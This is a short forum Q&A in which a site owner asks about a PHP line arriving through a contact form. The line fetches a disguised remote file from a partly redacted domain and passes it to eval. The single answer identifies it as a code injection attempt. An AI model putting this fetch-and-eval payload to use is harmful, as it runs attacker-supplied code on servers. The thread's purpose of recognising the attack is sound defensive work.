I don't understand some php code that is inserted in an e-mail we receive

Question

My client tells me that he regularly receives in his email box (linked to his contact form on his own website) this type of message:

-----Message d'origine----- De: Envoyé: Aucune Objet:

$a = get_contents('http://********.com.co//wp-admin/images/pel.jpeg'); eval('?>'.$a);

I replaced the domain name in the url by **** for confidentiality reasons. The domain name in the url of the get_contents function is unknown to us.

Do you have any idea what it could be? Spam? Bad configuration? Thanks in advance for your advice !

Answer 1

It's an attempt to exploit (an apparently non-existent) code injection vulnerability . The use of eval is a dead giveaway.